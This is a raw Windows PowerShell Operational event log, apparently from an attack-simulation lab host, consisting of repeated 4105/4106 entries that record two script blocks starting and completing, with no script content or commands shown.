Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052162
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052161
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052160
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052159
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052158
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052157
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052156
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052155
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052154
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052153
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052152
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052151
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052150
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052149
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052148
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052147
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052146
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052145
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052144
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052143
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052142
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052141
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052140
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052139
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052138
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052137
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052136
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052135
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052134
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052133
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052132
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052131
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052130
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052129
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052128
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052127
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052126
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052125
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052124
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052123
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052122
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052121
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052120
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052119
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052118
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052117
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052116
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052115
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052114
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052113
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052112
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052111
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052110
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052109
Keywords=None
